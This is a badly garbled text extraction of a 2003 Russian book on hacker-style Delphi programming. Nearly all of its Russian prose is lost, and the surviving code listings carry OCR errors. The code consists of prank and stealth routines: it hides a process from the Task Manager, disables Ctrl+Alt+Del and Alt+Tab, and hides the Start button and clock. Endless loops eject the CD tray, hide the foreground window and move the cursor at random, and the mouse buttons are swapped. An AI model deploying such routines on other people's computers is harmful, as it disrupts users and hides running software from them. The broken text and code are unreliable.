Delphi Hacker
-
Upload
andrei-ciuntu -
Category
Documents
-
view
260 -
download
37
description
Transcript of Delphi Hacker
-
-
--
2003
-
681.3.068x800.92Delphi 32.973.26-018.1
69
. .
17 Delphi . .: --, 2003. - 368 : .
ISBN 5-94157-351-0
-
Delphi, . , .
,
. ,
Delphi . , -
vr-online - " Delphi". - . -
, -, -
-
.
Delphi
681.3.068x800.92Delphi 32.973.26-018.1
:
.
.
.
Ne 02429 24.07.00. 25.06.03. 701001/1. . . . . 29,7.
3000 . 978."-", 198005. -, ., 29.
, Ng 77,99.02.953..001537.03.02 13.03.2002 . .
""
199034. -, 9 , 12.
ISBN 5-94157-35I-0 . ., 2003 , "-", 2003
-
1
1 2 ? ? 6
1. 13
1.1. 131.2. , 161.3. 221.4. * 271.5. 28
1 30 2 30 5 34 6 35 7 36 37
2. 39
2.1. 392.2. 452.3. 492.4. 522.5. 58
Num Lock, Caps Lock Scroll Lock 58 ? 59 CPL- 59 - 60 ++ 61
-
IV
+ 61 61 62 62
2.6. 64 64
3. 67
3.1. , 673.2. 733.3. 833.4. 843.5. 893.6. 923.7. 933.8. 973.9. 106. 1103.11. 116
4. 133
4.1. 1334.1.1. IP 1364.1.3. UDP 1374.1.4. , TCP 1384.J.5. NetBIOS 1404.1.6. NetBEUI 1414.1.7. Windows 1414.1.8. IPX/SPX 141
4.2. 139- 1424.3. 1464.4. 1504.5. - - 1564.6. 1624.7. 1674.8. 1714.9. 176
4.9.1. 1774.9.2. 184
-
V
4.10. 1864.11. FTP- 1924.12. TELNET- 199
5. 207
5.1. WinSock 2075.1.1. WinSock 2085.1.2. 212
5.2. 2135.2.1. 216
5.3. IP-config 2255.4. 2295.5. WinSock 2355.6. NetBIOS 2375.7. / IP- 2425.8. ARP 2455.9. ARP- 251
5.9.1. ARP- 2525.9.2. ARP- 257
5.10. 261
6. 273
6.1. 2736.1.1. 2766.1.2. 2776.1.3. Windows 277
6.2. 2806.3. 2826.4. 286
6.4.1. 2866.4.2. 290
6.5. - 2926.6. LPT- 2966.7. 3016.8. 3026.9. 309
6.9.1. 3096.9.2. ....313
6.10. 316
-
VI
7. 323
7.1. 3237.2. 3267.3. 3287.4 3357.5. 3377.6. plug-in 341
7.6.1. plug-in 3417.6.2. plug-in 346
351
- 353
-
- . -
, ,
.
, . ,
, .
( ) , , , . -
,
10 . ,
( , 2 ). , . , .
. ? . "". - -
"", ,
.
, -
.
( , - 3 ), , , , .
aka SINtez "". - , -
, , , .
"Hack-Faq", "", .
-
2_
,
, : , , , ""
, , , -
. , -
, . ,
.
,
. -
- .
. " ".
? -. ""
, . , -
,
. , -
-
, . "" -
.
-
, , -
-
Windows. -
Delphi. . , -
.
Delphi . , ,
. ,
. , -
Delphi www.cydsoft.com/vr-online, .
,
.
. , . .
-
3_
-
Delphi. , , - . , -
.
, . -
, -
, -
.
, . -
,
. .
- : ,
, .
: , , , .
. 2002 .
.
, ,
, ,
39 . ,
. ( -), , , I 12 ( , ) ., - , ,
, . : - .
.
.
,
, , -
.
. 2000 . Microsoft SQL Server. , -
. , -
. -
, SQL Server. , , , -. -
, (
-
4_
Microsoft, ), , - , -
. ,
, ,
, -, .
, ,
. , ,
- . ,
, , -
-, .
-
. ,
.
, ,
,
,
. 7 ( ):1. " ". ,
, -
.
,
. -
-
, . -
, -
.
2. " ". , , - -
, . , -
, -
"" .
--
( ).3. "". .
, Windows. ,
.
4. " ".
. ,
-
5
Delphi, .
5. " ". - Del-phi. , - WinSock API API-.
6. " ". - "". , -
,
.
, --
(RS-232), .
, -
, -
.
7. "". , , . -
,
"". ,
.
, , -
.
, -
- , . -
, -
. ,
.
, -
. -
. ,
- . -
.
, - :
Headers , - Delphi -.
Source , - . ,
.
-
6
Soft - Adobe Acrobat Reader 5.0. , , , -
.
vr-oniine , 100 , , . -
" Delphi" . ,
, Delphi, - " Delphi" .
, -
.
,
.
, .
, -
.
, .
Header Convert , - Delphi, ASPack - .
? ? , "" -
. : , , . ,
, .
, -
. , , -
. ,
"".
. ,
,
.
, , -
, . ,
.
"" , -
ARPAnet. , -
-
7
. -
, . -
, , ,
"".
.
FIDO. UNIX- - , -
.
,
. -
. .
, ,
.
, . -
, , , -
, ,
() . , .
. , -
. -
, ,
, ,
( !). , . ,
, .
.
, .
.
1. . ,
"" .
-
? . -
, ""
. ,
, , .
, .
, -
.
-
8
. -
,
. , , , ,
, .
.
/ +
-
9
4. . . , .
. -
, - -
.
, .
,
.
. - , -
. -
"", "" .
- , -
. , ,
, , "".
,
. -
, , , -
. , -
. ,
.
, .
.
- .
, ? .
.
5. . . -
. , - ,
, .
, .
, -
( !). , - . ,
.
6. , . ,
. -
. . ,
-, .
.
-
10
- , .
,
. .
, ? : , . ,
, .
, , - . -
, .
. ,
. , .
, "", "".
, .
"". ,
.
" "
www.sekachev.ru. Eric S. Raymond. , - .
: " ?" -. -, -
- , . -
, ,
.
. -
, -
. ,
, .
.
. ,
.
. , -
- . -
, ,
. . , -
. Delphi, , . , .
- 6 . , .
- .
, Microsoft ,
-
1 -\
, , -
. -
, .
.
XML, . ,
.
Microsoft , , . , -
.
Microsoft, - .
. MS? : DAO, RDO, ODBC, ADO, ADO.NET, . MS - , .
.
, , a MS , .
DAO, DAO ADO, , - , , .
, -
, -
. ,
, .
,
Delphi. VC++ ( ) .
, ASM . ,
,
. ,
, -
.
,
,
.
-
1
-? , -. , , -
-
. ,
,
++. - , , .
, - . -
, Delphi, "". , , 200 . , -
-
. , ,
, Delphi,
1.1.
. ASPack, www.cydsoft.com/vr-online/download.htm - - ( ASPack.exe). *. - *.dll. ASPack, . Next, ! , , . 1.1. : Open File; Compress;
-
14 1
Options; About; Help.
S)ASPack2.11
Version 2.11
Win32 EXE. DLL comptetsorRegistered to.
UNREGISTERED30 davs
"Open File | Compress
Open I i
History
j Options] About j Help jFiie intoirnation
File nameFile me (before compression)File size (after compression]
iProject! exe
364 032 byte*154 2 bytes
i Project!
, 1.1. ASPack
Open File Open. , . ,
Compress (. 1.2).
Versign 2L11
OpenFile Compiess j Options | Aboui j HelpCompression Progress
Registered to:UNREGISTERED
30 days
Go!
Compression File SizeTestM
Project1.exe
. 1.2.
-
15
, -
,
bak. ASPack (. 1.3), - . , .
Vetiion 2.11Open File j Compiess Options | About | Help |
, f? 'Compress resoucesjI P Deate backup copy [ bak He]
17 Auto run after loading ' ' ' ,
- - ,
I! Unregistered veision Options aie not javed
use Windows DLL loedeiPreserve extra dataAdd into content menu
Section's name,71,1 Language
Proiecl1.exe. 1.. ASPack
, . -
. , - "",
. ,
. -
, -
. ASPack , .
, , -
,
. ,
.
, - -
!!! , . - , ( , - ). , . ,
. - .
"-
"
-
16 1
, 60-70% -. .
""
, disassembler . , -
. ,
, -
.
- \\ l\Screensl - .
1.2. , ...
: "- , Delphi, ?" - : Delphi . , , -
.
. , ,
, ! - - .
. -
,
. -
. , -
.
, -
? -.
1. VCL ( Visual C++ MFC), . - WinAPI. . -
WinAPI.2. .
, ,
VCL, 300 - "", 3050 . ,
WinAPI.
-
17
, -
.
,
.
, Borland - . API- Windows .
Delphi, - ( Delphi , , File\New\Application), ( View\Project Manager). ( Unit, . 1.4), ( Projectl.exe). . . . 1.3.
I Project Manager(Ptojecti. zl New Remove ' Adiwrfe
Files Path ProjectGroupiH--JP Project! .exe
D: \Program FilesVB orland\D elpN6\PiojectsD: \Progr am FilesVB orland\D elpN6\PiojedsD:\Program Files\BotlandM}elphi6\Projecls
. 1.4. Project Manager
View Source Project View Source. Projectl.dpr. , :
program Project1;
uses
Forms;
-
18 1
($R *.res}
beginApplication.Initialize;Application-Run;
end. .
Project Compile Project +. Project Information for Projectl. . , - , . 1.5.
ProgramSource compiled:Code, size: 'Data size:Initial stack size:File size:
13 fines322312 bytes7077 bytes16384 bytes370668 bytes
Packages Used~(None)
rStatus""" " " "i Project! Successful Compiled.
Help
. 1.5.
.
, , None. - .
,
370 688 . " "!!! -. ? , , ,
. , uses - Forms. , " ", , , -
. begin end Application. , - "" .
, ,
Application, Forms.
-
19
i n i t i a l i z e Run, - Triplication, , .
, Forms windows, WinAPI. - Delphi, , WinAPI. begin end . ( windows) :
program Projectl;
uses Windows;
begin
end. .
. 8 192 (. 1.6). -.
-Program-' - - -S compiled: 22 inesCode size: 3696 bytesData size: 1945 bytesInitial stack size: 16384 bytesFile size 8192 bytes
Packages Used (None]
Status' -~Pfojecti Successfully Compiled.
. 1.6.
WinAPI . - .
, uses. .
Delphi -, , Delphi. Source, Rtl , , Win. , - Delphi
-
20 1
. , -
API- Windows. , . -
- , -
( ). . ,
,
. WinAPI winsock.pas., uses winsock ( ), . ,
. , , , -
. , , -
- ? :
program Projectl;
uses
var
MsgBegin
Windows;
: TMsg;
//
// , //
while GetMessagef Msg, HInstance, 0, 0) dobegin
TranslateMessage(msg);DispatchMessage(msg);
end;end.
,
.
, .
,
. , , -
. , -
- .
-
21
f^
p o i i e c c b l I
( _ J !
devldr32.exeLvAgent.exemsmsgs.exectFmon.exedrwebscd.exeSpidet.exeDirectcd.exeAHQTB.EXESpidernt.exenvsvc32.exespoolsv.exeexptorer.exesvchost.exesvchost.exedelphi32.exesvchost.exesvchost.exe
SYSTEMSYSTEMSYSTEM
LOCAL SERVICENETWORK SERVICE
SYSTEMSYSTEM4V4TFM
0000000000000000000000000000ot0000m
3 072 1 852
892 1 660 2 624 2 316 4 096 Z 740 1804 1320 4 248
14 720 3 420 KB2 444 40 108 14 124 3 864 ? 37ft KR
D [
: 29 .; : 19% : 129056 (
. 1.7. "" Windows XP
, . -
Windows 2000/XP , , . Windows 2000/XP ++ Windows(. 1.7). , . -
, .
,
,
, , .
Windows ++ . , -
:
procedure RegisterServiceProcess; external 'kernel32.dll'name 'RegisterServiceProcess';
RegisterServiceProcess, kernel32.dll. - Windows 9x. - uses.
-
22 1
, -
( ):asm
push Ipush 0call RegisterServiceProcess;end; Delphi , - . , ,
RegisterServiceProcess. asm and;. . i - push. . , ,
RegisterServiceProcess. To RegisterServiceProcess (, 1), , .
RegisterServiceProcess, - Windows 9x ,
++. - RegisterServiceProcess cal l .
Windows 9x - , Windows 9x, Windows 2000/XP, RegisterServiceProcess. ,
RegisterServiceProcess.
1.3. ,
-
-.
Windows WinAPI. Delphi. , . ,
, .
View\Project Manager. . Unitl Remove (. 1.9).
-
23
Delphi - Project2
File Edit Search j View Eroject &un Component database lools Wjndow
ActionActiveControlMenuObjecWenulteOnActiyaleOnCanResizeOrOck/' ['~OnPose ' 'QnCloseQueiyQnConslrainedOnContextPoptjOnDeateOnDNClickOnDeactivateDnDestroy
Object TreeViewi=| To-Do List
Alignment PaletteBrowserCode ExplorerComponent List
%* Window List.,,Debug WindowsDesktops
rU Toggle Form/Unit
j ? Forms
New Edit Window
Toolbars
Shift+A!t+Fl 1
Shift+ctrl+B
Alt+O
F12CM+F12
Shift+F12
I dbE^ Diess j DataSndt
. 1.8.
||(2. 3 XNew Remove
Files Path ProiectGtoupi Project2.eKe
, %$ Urriti
D APiogiam FilesSB otland'xD elphi6\PtojectsD: \Program FilesSB orlandSD elphi6\ProjectsDAPtogramFilesVBoilandSDelphiG^Projects
f'ef\ Remove D:\Program Files\Borland\Delphi6\Projects\Unitl .pas?
["""jj!gEZ]| Np
. 1.9.
Project View Source. , .
program Projecti,
-
24 1
(, , //,, ):
4$ ;\}1>
uses
windows, messages, sysutils;
f$R *.RES}
var
Instance: HWnd;WindowClass: TWndClass;Handle: HWnd;msg: TMsg;// procedure DoExit;beginHalt;end;
// Windowsfunction WindowProc (Hwn,msg,wpr,lpr: longint): longint; stdcall,beginresult:=defwindowproc(hwn,msg,wpr,lpr);if msg=wm_destroy thenDoExit;
if msg=wm__KeyDown thenif wpr-VK_ESCAPE thenpoExit;
end;
// begin// instance :^GetModuleHandle(nil);
-
25
// WindowClassWindowClass. style :=CS___HRedraw or CS_VRedraw;WindowClass.Lpfnwndproc:=@windowproc;WindowClass.Hinstance:=Instance;WindowClass.HbrBackground:= color_btnface;WindowClass.LpszClassName:='DX';WindowClass.Hcursor:=LoadCursor(0,IDC_ARROW);
// RegisterClass (WindowClass);
// Handle:=CreateWindowEx (0,'DX', " ,WS_POPUP, 1,1, 200, 200,0, 0,Instance,nil) ;
ShowWindow(Handle, SW_SHOW);UpdateWindow (Handle);
//
// while (GetMessage(msg, 0, 0, 0)) dobegintranslatemessage(msg) ;dispatchmessage (msg);end;
end.
1.1. - begin ( - ). WinAPI-GetModuieHandie. , instance. . WindowClass. . -
:
style ; Lpfnwndproc ,
;
-
26 1
D Hinstance , ; HbrBackground ( , ,
); LpszciassName ; Hcursor . -.. ,
. WinAPI- R e g i s t e r C l a s s (WindowClass) ; . . ? , .
C r e a t e W i n d o w E x : C r e a t e W i n d o w E x ( 0 , ' D K ' , ' ' , W S _ P O P U P , 1 , 1 ,200, 200,0,0, instance, n i l ) ; . , - :
1. . , - .
2. . , , .
3. . , .
4. . WS_POPUP .5. ,
. , -
.
6. . , 0.
7. .8. erfpfntkm, GetModuieHandie.9. . -
, (nil). .
Showwindow. :1. .2. . SW^SHOW, -
.
WinAPI- (Help/Windows SDK). updatewindow. - .
. GetMessage ,
-
27
, true (). transiatemessage - dispatchmessage. .
? windowciass.Lpfnwndproc. windowProc , - . -
1.1. -
defwindowproc. -, . , -
, .
. -
msg -. , msg wmdestroy, , ,
.
. msg wmKeyDown, . . - , ,
wpr - VKESCAPE - .
, .
, . -
, +, . ,
showwindow, . .
. SWSHOW, - SWHIDE, . SWHIDE .
showwindow, . - \\ l\Minimum\ .
1.4. .
- ,
, .
, .
2 . 978
-
28 1
Delphi. Caption . .
onclick :procedure TForml.ButtonlClick(Sender: TObject);beginShowWindow(Handle,SW_HIDE);ShowWindow(Application.Handle,SW_HIDE);end; ShowWindow. , . -
SW_HIDE, -. -
Handle , ( ) , . Application.Handle -. . ,
, indows. ,
, - .
- , -
.
,
, .
internat32.exe. Windows 95/98 , internat.exe, .
internat32 . , -
, . -
, .
.
- \\ l\Hide App\ .
1.5. .
. -
, . , -
? , - ?
-
29
,
. ,
, , .
, ,
"". , .
. , .
, , -
MS Word, . , ? !!! " ",
: "--". ,
( ) , , .
, .
,
, . ,
, .
. , ,
, ,
, "" ,
. -
, ? , , , .
MS!!! , . ,
.
, ,
. -
.
!!! . ,
, .
, "",
, .
, .
,
, , .
.
, , ,
" Delphi ".
-
30 1
, -
, ,
.
, ,
. , -
.
1 . , , -
, .
. -
. . -
2 + 2 . , ,
.
, (), , .
2, ,
. ,
/ , . .
. - 1995
Doom. , - . ,
. ,
, -
.
, , -
. , , -
, AI.... . , -
320x200 ( !) ? .... , .
.
-
31_
10% , . .
,
. AGP, - PCI- S3 1 . , PCI . , - . "", -
. ,
.
, ,
. -
, ? 10% . , -
.
,
. -
, , , .
-
10% ( ), , 10 !..
,
S3, 5400 32 . - . , 64 , : " DIMM, . , ".
128, 256, 512 Delphi, Photoshop "".
-
.
,
. -
, -
-.
. ,
, .
.
-
32 1
3 -
, . -
.
. ,
( , ):1. :=*2;
2. : = 1 |3. :=+[];4. :=+1;
5.
-
33
, 2 3 ? , 2 3 10 , - 10 , 100. 90 . , -
, . ,
. , ,
. .
. -
,
.
.
. ? . , .
.
,
, .
,
.
, , . -
- ( ), .
1 - . ,
. - -
, , -
,
Windows. - .
4( .) .
, .
" -
" (http://www.exler.ru/novels/wife.htm). - . , , -
. " ",
. .
, -
.
-
34 1
, , , -
. , .
.
( ). , . -
, . -
.
, -
. ,
.
,
- .
. -
, , , -
.
.
5 .
, ,
.
.
, -
.
1. . .
2. - . - 3, - ,
.
? . , . , -
, -
. , 198 11000110. , . 11000110 , , 1100011. . -
99. 198.
-
35
: , 2. 11000110. , ,
110001100. - . 396. ? 198, 2.: , 2; , 2. , ,
.
3. - . -
(), . , .
,
. ,
.
, ,
. , -
" ".... -
.
, .
4. (, , ) Assembler. Delphi C++ .
- , -
.
TASM MASM . ,
.
-
.
6
.
Doom, - . ,
. -,
-
36 1
-
.
Doom ? , . ,
, .
, -
. ,
, -
. , Doom -.
Quake - Quake. - , .
? - .
.
Quake 3, , Half-Life, - Quake, . ,
, -
.
7 .
,
. ,
! , - , . ,
, , .
, , .
, .
, .
, .
if , .
,
.
-
37_
!..
, , -
. ,
. , , -
, -
. , -
, 99,9% .
, -
. , ,
.
-
2
- Windows. , .
,
- , .
.
, -
- , -
. --
.
,
- . , -
, .
WinAPI. , Delphi , . -
WinAPI-. - Delphi , WinAPI , , .
2.1. , Windows 95. , .
, .
Windows 95. , , .
, .
.
.
-
40 2
,
. , -
100 ! , -
. -
. IBM- , , , -
.
.
Delphi. . - . (Object Inspector). BorderStyie bsNone, . Formstyie fsstayOnTop, . , .
image Additional. imagei. . Left 0, - (. 2.1).
\ 4
AnchorsAutoSizeCenter
S ConstraintsCursorDragCursorDragKindDragModeEnabledHeight
. 2 .1.
-
41
Picture ( , ), - ,
(. 2.2). Load , - . AutoSize imagei true, .
F? >eciea to 16 cotois when pasteOK 1 Cancel Help
. 2.2.
. .
, . , -
, ( ). ! Events . - onshow, . . -
.
procedure TForml.FormShow(Sender: TObj ect);beginWidth:=51,-// Height:=21;// Left:=-100;// end;
-
42 2
. -
,
, . ,
, .
21 51. Timer System. interval. 1 000 (1 ). 10 000 - (10 ). , . .
Events - onTimer. , - 10 ( interval). . -
:
2.1. OnTimer
procedure TForml.TimerlTimer(Sender: TObject);var
i:Integer;h:THandle;beginVisible:=true; //
// :^Screen.Height-Height;Left:=l;
// h, h:=CreateEvent(nil, t r u e , f a l s e , ' e t ' ] ;
// // 1 80 begin endfor i : = l to 80 dobegin
// . Top:=Screen.Height-Height-i*5;Repaint; //
-
43
WaitForSingleObject(h,15);// 5 end;
// . ,// for i::=80 downto 1 dobeginTop: =Screen. Height-Height-.!*5;Repaint;WaitForSingleObject(h,15) ;
end;
Closehandle(h); // hVisible:=false; // ,
end;
, ,
, .
, .
, TaskBar, -. , -
. ViewSource Project. -. 2.2, .
2-2. ||||^1|^ * ^ * ' iprogram Project l ;
uses
Forms,Windows,// WindowsUnitl in 'Unitl.pas' fForml};
{$R *.RES}
// var
EStyls : integer;
-
44
beginApplication.Initialize;
// EStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE)SetWindowLong(Application.Handle, GWL_EXSTYLE,EStyle or WS_EX_TOOLWINDOW>;
// Application.CreateForm(TForml, Forml);Application.Run;
end.
2
, .
. 2.3.
. . .
. ,
.
Windows, Windows XP - . ?.
- \\ 2\
.
-
45
2.2.
,
. ,
,
( Windows 95/98/). , ,
! , . ? API- Findwindow. : , .
SheiijirayWnd. , . , , Findwindow . ,
Windows , . , -
FindwindowEx. - .
:
1. , .2. - , .
0, - .
3. . , , Button.
4. . ni l , .
, , -
:
StartBtnWnd:=FindWindow('Shell_TrayWnd', nil);StartBtnBmp:=FindWindowEx(StartBtnWnd, 0, 'Button', nil) ; .
startBtnwnd. .
StartBtnBmp.
Delphi . oncreate. , .
private . .
-
46 2
private{ Private declarations }StartBtnWnd, StartBtnBmp: hWnd;
, .
! - 51 21. - . 2.4.
* WLftM
. 2.4.
image Additional. - Picture. -. Load, .
Image I. Picture
" Eecfease to 16 colors when pasteOK I Cancel Help
. 2.5.
-
47
: :
1. .2. .3. .4. .5. .!!! . . 2.6 -, .
, .
.
. 2.6.
.
. Onclick :
procedure TForml.ButtonlClick(Sender: TObject);beginSendMessage(StartBtnBmp, BM_SetImage, 0, Imagel.Picture.Bitmap.Handle);end; WinAPI- SendMessage, - . :
1. , , -.
2. - BM_setimage, -.
3. .4. ,
.
-
48 2
.
. , , -
, . . 2.7 . , -
Windows 9x
'*$tjj
. 2.7.
Windows . onclick . :
procedure TForml.Button2Click(Sender: TObject);beginEnableWindow(StartBtnWnd, false);end;
( ) :procedure TForml.Button3Click(Sender: TObject);beginEnableWindow(StartBtnWnd, true);end;
Enabiewindow. -
. .
(true) (false). , , -
, . -
, .
-
49
.
onclick :procedure TForml.Button4Click(Sender: TObject);beginShowWindow(StartBtnBmp, SW_HIDE);end; showwindow. - SW_HIDE, . , SW_SHOW. . , -
, .
hwnd. .
onclick :procedure TForml.ButtonSClick(Sender: TObject);beginShowWindow(StartBtnWnd, SW_HIDE);end; , ,
showwindow .
- \\ 2\ 2 - .
\\ 2\ 2 - .
2.3. , -
- .
, .
, -
.
.
(Buttoni) . , -
.
Enabled false, . -
. interval 5 000
-
50 2
( ). (1-3 , Windows). Windows XP, 10 , . . 10000., setsysCoiors. :
1. .2. .3. ., .
:
SetSysColorsU, 5, clRed); , -
. -
:
procedure TForml.ButtonlClick(Sender: TObject);beginTimerl.Enabled:=true;end;
( - ). :procedure TForml.TimerlTimer(Sender: TObject);const
SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,COLOR_BTNFACE, COLOR_BTNTEXT, COLGR_CAPTIONTEXT,COLOR_INACTIVEBORDER, COLOR_INFOTEXT, COLORJ4ENU,COLOR_MENUTEXT, COLOR_WINDOW, COLORJtflNDOWFRAME,COLOR_WINDOWTEXT);
ColorArray:array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);
beginSetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]);end;
-
51
(, ) . , -
, .
. -
, . Delphi - array. :
: array [ ] of ;
, , -
, , 12 - [0..11] [I..12]. 0, 1. 12- [0..11] [12]. ,
:
[4]:=; 4 -.
syscoiorArray 14 . ,
.
, -
(COLOR_ACTIVEBORDER, COLOR_ACTIVECAPTION . .). - -
.
COLOR_ACTIVEBORDER, COLOR__ACTIVECAPTION . .? . . ,
COLOR_ACTIVEBORDER 10. . ,
.
coiorArray 10 . -
.
Setsyscoiors. :1. 1 .2. SySColorArray[random(13)] SySColorArray
, .
random (13) 0 1.
-
52 2
3. coiorArray[random() ] coiorArray 0 10 random(10). .
-
.
- \\ 2\Palette - .
2.4. , -
.
ListBox -. -
ListBox. ,
ListBox. , -, (. 2.8).
* Forml
. 2.8.
, - -
, .
.
-
53
,
TDevMode, -. private :
private( Private declarations }modes:array[0..255] of TDevMode;
public{ Public declarations }
255 TDevMode. onclick :
procedure TForml.ButtonlClick(Sender: TObject);var
i: Integer;beginListBoxl.Items.Clear;i := 0;while EnumDisplaySettings(nil, i, Modes[i]) dobeginListBoxl.Items.Add(IntToStr(Modes[i].dmBitsPerPel)+' '+
IntToStr(Modes[i].dmPelsWidth)+' '+IntToStr(Modes[i].dmPelsHeight)+ ' '+IntToStr(Modes[i].dmDisplayFrequency));
Inc(i);end;
end;
ListBox ListBoxl. items.Clear. - i, , .
EnumDispiaySettings, . :
1. , . - .
, ni l .2. , .
i, - 1, .
-
54 2
3. TDevMode, -. .
while do:while EnumDisp laySet t ings {n i l , i , Modes[i]) do , EnumDispiaySettings , ,
begin end. ListBox, , i . ListBox, :
Modes[i].dmBitsPerPel - ( ) - .
Modes[i].dmPelsWidth - .Modes[i].dmPelsHeight - .Modes[i].dmDisplayFrequency - .
-
. ListBox - , (. 2.9).
8 640 480 608 640 4G0 708 640 480 728 640 480 758 640 480 858 640 480 1008 640 480 1208 320 200 608 320 200 708 320 200 728 320 200 758 320 240 638 320 240 708 320 240 728 320 240 758 400 300 608 400 300 708 400 300 728 400 300 758 480 360 606 430 350 708 480 360 72
zl
. 2.9.
:
1. ( ) .
-
55
2. .3. .4. .
.
:
procedure TForml.Button2Click(Sender: TObject);beginModes[ListBoxl.Itemlndex].dmFields := DM_BITSPERPEL or
DM_PELSWIDTH or DM_PELSHEIGHT orDM_DISPLAYFLAGS or DM_DISPLAYFREQUENCY;
ChangeDisplaySettings(Modes[ListBoxl.Itemlndex], CDSJJPDATEREGISTRY);end; ListBoxi. itemindex . ,
Modes, Modes[ListBoxi.Itemindex]. , ListBoxi , TDevMode Modes.
, Modes dmFields, , . :
1. DMBITSPERPEL .2. DM_PELSWIDTH ~~ .3. DM_PELSHEIGHT .4. DM_DISPLAYFREQUENCY .5. DMDISPLAYFLAGS . , dmFields DM_BITSPERPEL. , - or,
.
ChangeDisplaySettings. :1. TDevMode.2. . :
1.0 , -.
-
56 2
2. CDSJJPDATEREGISTRY -, .
3. CDSTEST , .
.
, -
0. , - . . 2.10, ,
Windows . . . 2.11 , , , -,
.
, ,
. , , -
. ,
.
Qatatoa lot* BJufe H>SnMmJDXtAccaa! Data Commit] dbEunti I tHUSI ]ADO | I n M a n ! WabSarvcetllnt*!
- fapttott JEvmti]
ColorCoUnrx
321024 769
321152864
321152861321152 8611152861321152 86432 1280 960
'31290 36012 1290 960J 2 ' 290 96C21201022120102321290102321290102321290102
60
n758510060701275
6070727595
321 SOU ) 603216001200 703216001200 72
TSPEPPEL Dr DH^PELSHIDTHL 0 ) ;
. 2 . 1 0 .
-
57
. 2 . 1 1 .
, -
- . , -
, -
. ,
, , -
.
, "", -
.
- \\ 2\Video Mode .
- \\ 2\Video Mode .
-
58 2
2.5. , -
.
Num Lock, Caps Lock Scroll Lock .
. -
:
procedure TForm2.ButtonlClick(Sender: TObject);beginTimer1.Enabled:=true;end; -
:
procedure TForml.Timer2Timer(Sender: TObject);beginTimerl.Tag := (Timerl.Tag + 1) mod 4;SetState(VK_NUMLOCK, Timerl.Tag * 1);SetState(VK_SCROLL, Timerl.Tag - 2);SetState(VK_CAPITAL, Timerl.Tag = 3);end; , -
, .
se t s ta te . . - Delphi, . :
procedure SetState(key: Integer; Value: Boolean);var
KeyState: TKeyboardState;beginGetKeyboardState(KeyState);KeyState[key] := Integer(Value);SetKeyboardState(KeyState) ;end; ,
, -
, . ,
-
59
, , , -
Delphi , .
sets tate . - WillAPI- GetKeyboardState. - Keystate. - .
SetKeyboardState.
. .
se t s ta te , . - ,
. , ,
Setstate , true false ( ). :
Setstate(VK_NUMLOCK, true);Setstate(VK_SCROLL, false);Setstate(VK_CAPITAL, true);
? , , :). , , ,
:). , :SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0) . "", -1 .
CPL- uses SheiiApi, sheiiExecute. :SheiiExecute(Application.Handle, Pchar ('Open'),
PcharfRundll32.exe1) , Pchar ('shell32, Control_RunDLL f ilename. cpl )," ,SW_SHOWNORMAL);
SheiiExecute ., Rundll32.exe. : shell32,Control_RunDLL filename.cpl. :
SheiiExecute(Application.Handle, Pchar('Open1),3 . 978
-
60 2
P c h a r C R u n d l l 3 2 . e x e ' ) , Pchar{'shell32,Control_RunDLL i n e t c p l . c p l ' ) ,w,SW_SHOWNORMAL);
:
ShellExecute(Application.Handle, Pchar{'Open'),PcharCRundl l32 .exe 1 ) , Pchar ( ' s h e l l 3 2 , Control__RunDLL d e s k . c p l ' ) ,
*' ,SW_SHOWNORMAL);
-
, 5 CD-ROM:var
OpenParm: TMCIJDpen_Parms;GenParm: TMCI_Generic_Parms;SetParm: TMCI_Set_Parms;DI : Cardinal;OK: boolean;beginOK:=false;OpenParm.lpstrDeviceType := 'CDAudio';repeatmciSendCommand(0, mci_Open, mci_Open_Type, Longint(QOpenParm));DI := OpenParm.wDevicelD;mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));mciSendCommand(DI, mci_Set, mci_Set_Door__Closed, LQngint (@SetParm)) ;mciSendCoitrmand(DI, mci_Close, mci_Notify, Longint (@GenParm) );sleep(5000);until OK;end; false. repeat, .unt i l , , - true. - , false, .
lpstrDeviceType OpenParm. CDAudio, CD-ROM. , -
, .
-
61
sieeptsooo}, CD-ROM "" , - .
uses MMSystem.
++ Windows 9x :
var
i:integer;begini := 0;SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, Si, 0);end;
+ Windows 9x.var
i:integer;begin
i := 0;SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @i, 0);
end;
, .
. ,
.
showwindow, , SWHIDE.var
Wnd:THandle;
beginWnd := FindWindow('Shell_TrayWnd', nil);Wnd := FindWindowEx(Wnd, HWND(0),'TrayNotifyWnd1, nil);
-
62 2
Wnd : = FindWindowEx(Wnd, HWND(0), 'TrayClockWClass \ n i l ) ;ShowWindow(Wnd, SW_HIDE);
e n d ;
, -
. ,
:
var
n:HWND;beginwhile true dobeginh:=GetForegroundWindow;ShowWindow(h,SW_HIDE) ;Sleep(2000);end;
end; while, - :
GetForegroundWindow - .
ShowWindow.
2 , -.
:
SystemParametersinfo(SPI_SetDeskWallPaper, 0, PChar(TempStr),SPIFJJpdatelniFile); SystemParametersinfo : , . , -
. :
SPI_SETDESKWALLPAPER . ;
SPI_SETDOUBLECLICKTIME . -
-
63
. 10, -, , -
10 . , - ;
SPISETKEYBOARDDELAY -
;
SPI_SETMOUSEBUTTONSWAP 0, - , -
, .
.
.
, -
, . -
:
SPIFJJPDATEINIFILE ;
SPIF_SENDCHANGE WM__SETTINGCHANGE ;
SPIFSENDWININICHANGE , .
, ,
. ,
:
// SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, 0,SPIF_SENDWININICHANGE);
// SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 0, ,SPIF_SENDWININICHANGE);
Windows .
.
var
SysMenu: HMenu;beginSysMenu := GetSystemMenu(Handle, False);Windows.EnableMenuItem(SysMenu, SC__CLOSE, MF_DISABLED or MF_GRAYED) ;end;
-
64 2
.
EnableMenuItem Windows, .
2.6.
,
" " ( ).var
OK: boolean;beginOK:=false;repeatrandomize;setcursorpos(random(Screen.Width-1),random(Screen.Height-1});sleep (5000);until OK;end; , -
WinAPI- setcursorpos. - Y . 0 - .
.
:
procedure TForml.ButtonlClick(Sender: TObject);var
